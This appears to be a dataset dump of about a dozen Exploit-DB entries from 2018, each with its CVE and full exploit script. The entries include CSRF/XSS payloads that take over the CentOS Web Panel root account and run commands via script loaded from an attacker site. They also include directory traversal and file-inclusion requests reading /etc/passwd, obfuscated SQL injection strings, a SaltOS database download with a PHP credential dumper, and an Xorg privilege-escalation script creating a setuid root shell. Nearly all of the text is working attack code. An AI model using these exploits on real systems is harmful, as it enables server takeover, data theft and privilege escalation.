QLWD/code_shield huggingface dataset:
标题: CentOS Web Panel 0.9.8.740 - Cross-Site Request Forgery / Cross-Site Scripting EDB-ID: 45822 CVE: 2018-18774 2018-18773 2018-18772 类型: WEBAPPS 平台: PHP 发布日期: 2018-11-13 漏洞利用脚本: # Title: CentOS Web Panel Root Account Takeover + Remote Command Execution <= v0.9.8.740
# Author: InfinitumIT (https://infinitumit.com.tr)
# Vendor Homepage: centos-webpanel.com
# Software Link: http://centos-webpanel.com/cwp-latest
# Version: Up to v0.9.8.740.
# CVE: CVE-2018-18773, CVE-2018-18772 and CVE-2018-18774.
#? Detailed: https://numanozdemir.com/respdisc/cwp.pdf

# Description:
# Attacker can change target server's root password and execute command, by CSRF vulnerability.
# Also, there is a XSS vulnerability, hacker can exploit the CSRF vulnerability by this XSS
# vulnerability and run bad-purposed JavaScript codes on administrator's browser.
# So, CSRF/XSS to full server takeover.

# How to Reproduce:
# Hacker can exploit this vulnerability (changing root password) by XSS or CSRF.
# Hacker will create a website and put those codes into source:

<script>
var url = "http://targetserver:2030/admin/index.php?module=rootpwd";
var params = "ifpost=yes&password1=newpassword&password2=newpassword";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
vuln.send(params);
</script>

# (Update newpassword as the password that you want to change.)

# If hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
# But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
# http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/password.js></script>
# After exploiting, you can connect to server by Putty or access the CWP panel with the password
# that you have specified from 2030 port.

# The second vulnerability is remote command execution.
# Hacker can exploit this vulnerability (remote command execution) by XSS or CSRF too.
# Again, hacker will create a website and put those codes into source:

<script>
var url = "http://targetserver:2030/admin/index.php?module=send_ssh";
var params = "ssh+command=whoami";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
vuln.send(params);
</script>

# (Update whoami as command that you want to run.)

# Same logic like top, if hacker wants to exploit this by CSRF, CWP administrator will click hacker's website.
# But if hacker wants to exploit this by XSS, CWP administrator will click here: (admin's own website)
# http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/command.js></script>

# shouldnt think that CSRF/XSS are unimportant vulnerabilities.
# for secure days... URL: https://www.exploit-db.com/exploits/45822
标题: WordPress Plugin Media File Manager 1.4.2 - Directory Traversal / Cross-Site Scripting EDB-ID: 45809 CVE: 2018-19040 2018-19041 2018-19042 2018-19043 类型: WEBAPPS 平台: PHP 发布日期: 2018-11-12 漏洞利用脚本: # Exploit Title: Wordpress Plugin Media File Manager 1.4.2 - Directory Traversal
# Date: 2018-05-11
# Exploit Author: Pasquale Turi (aka boombyte)
# Vendor Homepage: https://wordpress.org/plugins/media-file-manager/
# Software Link: https://wordpress.org/plugins/media-file-manager/
# Version: 1.4.2
# CVE: N/A
# Tested on: Ubuntu 18.10

# Plugin description:
# This plugin can be used for manage the uploaded file (we can rename files, see a preview, 
# delete and move them to other folders under wordpress upload  folder).
# This plugin can be used by administrator, author, contributor and subscriber.

# POC
# Diretory trasversal:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: REDATED
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 53
Connection: close
Cookie: REDACTED

action=mrelocator_getdir&dir=../../../../../../../etc

# POC
# XSS Reflected

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/upload.php?page=mrelocator-submenu-handle
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 68
Connection: close
Cookie: REDACTED

action=mrelocator_getdir&dir=[XSS]

# POC
# Move any file to any dir:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/upload.php?page=mrelocator-submenu-handle
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 75
Connection: close
Cookie: REDACTED

action=mrelocator_move&dir_from=../../&dir_to=../../../&items=wp-config.php

# POC
# Rename any file:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/upload.php?page=mrelocator-submenu-handle
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 97
Connection: close
Cookie: REDACTED

action=mrelocator_rename&dir=../../&from=wp-config.php&to=wp-config.txt URL: https://www.exploit-db.com/exploits/45809
标题: FaceTime - RTP Video Processing Heap Corruption EDB-ID: 45786 CVE: 2018-4384 类型: DOS 平台: IOS 发布日期: 2018-11-06 漏洞利用脚本: There is a memory corruption issue when processing a malformed RTP video stream in FaceTime that leads to a kernel panic due to a corrupted heap cookie or data abort. This bug can be reached if a user accepts a call from a malicious caller. This issue only affects FaceTime on iOS, it does not crash on a Mac.

The issue can be reproduced using the attached sequence of RTP packets. To reproduce the issue:

    1) Build video-replay.c in attached zip (gcc -g -dynamiclib -o mylib video-replay.c) and copy to /usr/lib/mylib
    2) Use insert_dylib (https://github.com/Tyilo/insert_dylib) to add /usr/lib/mylib to AVConference (insert_dylib --strip-codesig /usr/lib/mylib AVConference)
    3) Edit /System/Library/Sandbox/Profiles/com.apple.avconferenced.sb to add /out as allow file read and write
    4) Restart the machine
    5) Extract the attached out folder in the zip to /out and change the permissions so it's readable by AVConference
    6) Call target, when they pick up, the phone will crash


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45786.zip URL: https://www.exploit-db.com/exploits/45786
标题: FaceTime - 'readSPSandGetDecoderParams' Stack Corruption EDB-ID: 45787 CVE: 2018-4367 类型: DOS 平台: MACOS 发布日期: 2018-11-06 漏洞利用脚本: There are a variety of problems that occur when processing malformed H264 streams in readSPSandGetDecoderParams, leading to OOB read, OOB write and stack_chk crashes. I think the root cause is stack corruption. This issue can occur if someone accepts a malicious FaceTime call.

To reproduce the issue:

On the target device:

1) build no-encrypt.c (gcc -dynamiclib -o mylib)
2) copy the file to /usr/lib/mylib
3) Use insert_dylib (https://github.com/Tyilo/insert_dylib) to add /usr/lib/mylib to AVConference (insert_dylib --strip-codesig /usr/lib/mylib AVConference)

This will strip encryption to allow the target to receive unencrypted packets. It is also possible to repro this issue using the method described in  issue 1634 , but it is much more reliable and debuggable with the unencrypted packets

On the host device:

    1) Build video-replay.c attached (gcc -g -dynamiclib -o mylib video-replay.c) and copy to /usr/lib/mylib
    2) Use bspatch to apply the attached binpatch to /System/Library/PrivateFrameworks/AVConference.framework/Versions/Current/AVConference. The version I patched has an md5 sum of 0de78198e29ae43e686f59d550150d1b and the patched version has an md5 sum of af5bb770f08e315bf471a0fadcf96cf8. This patch alters SendRTP to retrieve the length of an encrypted packet from offset 0x650 of the encrypted buffer, as the existing code doesn't respect the output size returned from CCCryptorUpdate
    3) Use insert_dylib (https://github.com/Tyilo/insert_dylib) to add /usr/lib/mylib to AVConference (insert_dylib --strip-codesig /usr/lib/mylib AVConference)
    4) Edit /System/Library/Sandbox/Profiles/com.apple.avconferenced.sb to add /out as allow file read and write
    5) Restart the machine
    6) Extract the attached sc.zip to /out and change the permissions so it's readable by AVConference
    7) Call target, when they pick up, AVConference will crash

When I reproduced this, my host was a Mac mini running version 10.13.6. My target was a MacBook Pro running 10.13.6. This PoC only works on a Mac, but the vulnerable code appears to be in iOS 11.3.1 as well.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45787.zip URL: https://www.exploit-db.com/exploits/45787
标题: PHP Proxy 3.0.3 - Local File Inclusion EDB-ID: 45780 CVE: 2018-19458 类型: WEBAPPS 平台: PHP 发布日期: 2018-11-05 漏洞利用脚本: # Exploit Title: PHP-Proxy 3.0.3 - Local File Inclusion
# Date: 04.11.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://www.php-proxy.com/
# Software Link: https://github.com/Athlon1600/php-proxy-app
# Version: v3.0.3
# Category: Webapps
# Tested on: XAMPP for Linux
# Description: Any user can read files from the server
# without authentication due to an existing LFI in the following path:
# http://target/index.php?q=file:///[FilePath]

# PoC

#!/usr/bin/python

import urllib2, httplib, sys

print "\n[*] PHP-Proxy 3.0.3 LFI PoC By AkkuS"
print "[*] My Blog - https://www.pentest.com.tr\n"
print "[+] usage: python " + __file__ + " http://<target_ip/domain>"
if (len(sys.argv) != 2):
    print "[*] Usage: poc.py <target_ip/domain>"
    exit(0)
ip_add = sys.argv[1]

fd = raw_input('[+] File or Directory: aka /etc/passwd and etc..\n')

print "Exploiting....."
print '\n'
URL = "http://" + ip_add + "/index.php?q=file:///" + fd + ""
print urllib2.urlopen(URL).read() URL: https://www.exploit-db.com/exploits/45780
标题: Microstrategy Web 7 - Cross-Site Scripting / Directory Traversal EDB-ID: 45755 CVE: 2018-18777 2018-18776 2018-18775 类型: WEBAPPS 平台: JSP 发布日期: 2018-10-30 漏洞利用脚本: <!--
# Exploit Title: Path traversal vulnerability in Microstrategy Web version 7
# Date: 29-10-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: https://www.microstrategy.com
# Software Link: https://www.microstrategy.com
# Version: Microstrategy Web version 7
# Tested on: all
# CVE : CVE-2018-18777
# Category: webapps

1. Description

Directory traversal vulnerability in Microstrategy Web, version 7, in
"/WebMstr7/servlet/mstrWeb" (in the parameter subpage) allows remote
authenticated users to bypass intended SecurityManager restrictions and
list a parent directory via a /.. (slash dot dot) in a pathname used by a
web application.


2. Proof of Concept

http://X.X.X.X/WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=../../../../../../../../etc/passwd

3. Solution:

The product is discontinued. Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules

-->

<!--
# Exploit Title: Cross Site Scripting in Microstrategy Web version 7
# Date: 29-10-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: https://www.microstrategy.com
# Software Link: https://www.microstrategy.com
# Version: Microstrategy Web version 7
# Tested on: Unix
# CVE : CVE-2018-18775
# Category: webapps

1. Description

Microstrategy Web, version 7, does not sufficiently encode user-controlled
inputs, resulting in a Cross-Site Scripting (XSS) vulnerability via the
Login.asp Msg parameter.


2. Proof of Concept

http://X.X.X.X/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=
"><script>alert("XSS");</script><"

3. Solution:

The product is discontinued. Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules

-->

<!--
# Exploit Title: Cross Site Scripting in Microstrategy Web version 7
# Date: 29-10-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: https://www.microstrategy.com
# Software Link: https://www.microstrategy.com
# Version: Microstrategy Web version 7
# Tested on: all
# CVE : CVE-2018-18776
# Category: webapps

1. Description

Microstrategy Web, version 7, does not sufficiently encode user-controlled
inputs, resulting in a Cross-Site Scripting (XSS) vulnerability via the
admin.asp ShowAll parameter.


2. Proof of Concept

http://X.X.X.X/microstrategy7/admin/admin.asp?ShowAll=
"><script>alert("XSS")</script><"&ShowAllServers=show

3. Solution:

The product is discontinued. Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules

--> URL: https://www.exploit-db.com/exploits/45755
标题: xorg-x11-server 1.20.3 - Privilege Escalation EDB-ID: 45742 CVE: 2018-14665 类型: LOCAL 平台: OPENBSD 发布日期: 2018-10-30 漏洞利用脚本: # Exploit Title: xorg-x11-server 1.20.3 - Privilege Escalation
# Date: 2018-10-27
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.x.org/
# Version: xorg-x11-server 1.19.0 - 1.20.2
# Tested on: OpenBSD 6.3 and 6.4
# CVE : CVE-2018-14665

# raptor_xorgasm

#!/bin/sh

#
# raptor_xorgasm - xorg-x11-server LPE via OpenBSD's cron
# Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission 
# check for -modulepath and -logfile options when starting Xorg. X server 
# allows unprivileged users with the ability to log in to the system via 
# physical console to escalate their privileges and run arbitrary code under 
# root privileges (CVE-2018-14665).
#
# This exploit targets OpenBSD's cron in order to escalate privileges to
# root on OpenBSD 6.3 and 6.4. You don't need to be connected to a physical
# console, it works perfectly on pseudo-terminals connected via SSH as well.
#
# See also:
# https://lists.x.org/archives/xorg-announce/2018-October/002927.html
# https://www.exploit-db.com/exploits/45697/
# https://gist.github.com/0x27/d8aae5de44ed385ff2a3d80196907850
#
# Usage:
# blobfish$ chmod +x raptor_xorgasm
# blobfish$ ./raptor_xorgasm
# [...]
# Be patient for a couple of minutes...
# [...]
# Don't forget to cleanup and run crontab -e to reload the crontab.
# -rw-r--r--  1 root  wheel  47327 Oct 27 14:48 /etc/crontab
# -rwsrwxrwx  1 root  wheel  7417 Oct 27 14:50 /usr/local/bin/pwned
# blobfish# id
# uid=0(root) gid=0(wheel) groups=1000(raptor), 0(wheel)
#
# Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2):
# OpenBSD 6.4 (Xorg 1.19.6) [tested]
# OpenBSD 6.3 (Xorg 1.19.6) [tested]
#

echo "raptor_xorgasm - xorg-x11-server LPE via OpenBSD's cron"
echo "Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>"

# prepare the payload
cat << EOF > /tmp/xorgasm
cp /bin/sh /usr/local/bin/pwned # fallback in case gcc is not available
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > /tmp/pwned.c
gcc /tmp/pwned.c -o /usr/local/bin/pwned # most dirs are mounted nosuid
chmod 4777 /usr/local/bin/pwned
EOF
chmod +x /tmp/xorgasm

# trigger the bug
cd /etc
Xorg -fp "* * * * * root /tmp/xorgasm" -logfile crontab :1 &
sleep 5
pkill Xorg

# run the setuid shell
echo
echo "Be patient for a couple of minutes..."
echo
sleep 120
echo
echo "Don't forget to cleanup and run crontab -e to reload the crontab."
ls -l /etc/crontab*
ls -l /usr/local/bin/pwned
/usr/local/bin/pwned URL: https://www.exploit-db.com/exploits/45742
标题: E-Negosyo System 1.0 - SQL Injection EDB-ID: 45730 CVE: 2018-18801 类型: WEBAPPS 平台: PHP 发布日期: 2018-10-29 漏洞利用脚本: # Exploit Title: E-Negosyo System 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/bsenordering_9-23-18.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18801

# POC: 
# 1)
# http://localhost/[PATH]/student/index.php?view=view&id=[SQL]
# 
GET /[PATH]/index.php?q=product&category=Cakes%27%20%20UNION%20SELECT%201,2,3,4,5,6,7,(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x),9,10,11,12,13,14,15,16,17,18,19,20--%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 28 Oct 2018 20:24:30 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/index.php?q=single-item&id=[SQL]
# .... URL: https://www.exploit-db.com/exploits/45730
标题: Modbus Slave 7.0.0 - Denial of Service (PoC) EDB-ID: 45732 CVE: 2018-18759 类型: DOS 平台: WINDOWS 发布日期: 2018-10-29 漏洞利用脚本: # Exploit Title: Modbus Slave 7.0.0 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.modbustools.com/
# Software Link: https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe
# Software Link: https://www.modbustools.com/download/ModbusSlaveSetup64Bit.exe
# Version: 7.0.0
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18759

# POC: 
# 1)
# F3 & Connection / Connect / Registration Key

#!/usr/bin/python

buffer = "A" * 603
try:
    f=open("sie.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(buffer)
    f.write(buffer)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created" URL: https://www.exploit-db.com/exploits/45732
标题: SaltOS Erp Crm 3.1 r8126 - SQL Injection (2) EDB-ID: 45733 CVE: 2018-18763 类型: WEBAPPS 平台: PHP 发布日期: 2018-10-29 漏洞利用脚本: # Exploit Title: SaltOS Erp, Crm 3.1 r8126 - SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.saltos.org/
# Software Link: https://excellmedia.dl.sourceforge.net/project/saltos/stable/SaltOS-3.1-8126.linux-i686.tgz
# Version: 3.1 r0 / 3.x
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18763

# POC: 
# 1)
# http://localhost/[PATH]/index.php
# 
POST /[PATH]/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 747
Cookie: PHPSESSID=il9r6344ch0ned04kg1hpc7l45; lang=en_US; __lang__=1543322831; style=blue; __style__=1543322831; iconset=silk; __iconset__=1543322831
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
action=ajax&query=numbers&page=usuarios&action2=list%27%29%20%61%6e%44%20%28%53%45%4c%65%63%74%20%31%35%35%20%46%72%6f%4d%28%53%45%4c%45%43%54%20%43%4f%75%6e%74%28%2a%29%2c%43%4f%6e%63%61%54%28%63%6f%6e%43%41%54%28%30%78%32%30%33%61%32%30%2c%55%73%65%52%28%29%2c%44%61%74%41%42%41%53%45%28%29%2c%56%45%72%53%49%6f%4e%28%29%29%2c%30%78%37%65%2c%28%73%65%6c%65%43%54%20%28%65%6c%54%28%31%35%35%3d%31%35%35%2c%31%29%29%29%2c%30%78%34%39%36%38%37%33%36%31%36%65%32%30%35%33%36%35%36%65%36%33%36%31%36%65%2c%66%6c%6f%4f%52%28%52%41%6e%64%28%30%29%2a%32%29%29%78%20%66%72%4f%4d%20%49%4e%46%6f%72%6d%41%54%49%4f%4e%5f%53%63%68%45%4d%41%2e%50%4c%75%67%49%4e%53%20%47%72%6f%55%50%20%42%59%20%78%29%61%29%20%41%6e%64%20%28%27%45%66%65%27%3d%27%45%66%65&id=0: undefined
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 00:12:53 GMT
Server: Apache/2.4.4 (Win32) OpenSSL/0.9.8y PHP/5.4.16
X-Powered-By: SaltOS v3.1 r8126
Expires: -1
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: keep-alive, close
Content-Type: text/html;charset=UTF-8
Transfer-Encoding: chunked URL: https://www.exploit-db.com/exploits/45733
标题: SaltOS Erp Crm 3.1 r8126 - Database File Download EDB-ID: 45734 CVE: 2018-18762 类型: WEBAPPS 平台: PHP 发布日期: 2018-10-29 漏洞利用脚本: # Exploit Title: SaltOS Erp, Crm 3.1 r8126 - Database File Download
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.saltos.org/
# Software Link: http://download.saltos.org/?app=saltos&format=xul&arch=win32
# Version: 3.1 r0 / 3.x
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18762

# POC: 
# 1)
# http://localhost/[PATH]/files/saltos.db
# 
# [Mon Oct 29 00:05:49 2018] 127.0.0.1:2853 [200]: /index.php?action=logout
# [Mon Oct 29 00:05:49 2018] 127.0.0.1:2856 [200]: /
# [Mon Oct 29 00:05:51 2018] 127.0.0.1:2857 [200]: /files/saltos.db
# 
GET /files/saltos.db HTTP/1.1
Host: localhost:57187
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=a06furpg1gf54hqf573l886qs3; lang=es_ES; __lang__=1543317075; style=blue; __style__=1543317075; iconset=silk; __iconset__=1543317075
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Host: localhost:57187
Connection: close
Content-Type: application/octet-stream
Content-Length: 8462336

<?php

$baglan = new SQLite3('saltos.db');

$sonuc = $baglan->query('SELECT * FROM tbl_usuarios');

while ($p = $sonuc->fetchArray()) {?>

<h4><?php echo $p['login'];?></h4>
<h4><?php echo $p['password'];?></h4>

<?php } ?> URL: https://www.exploit-db.com/exploits/45734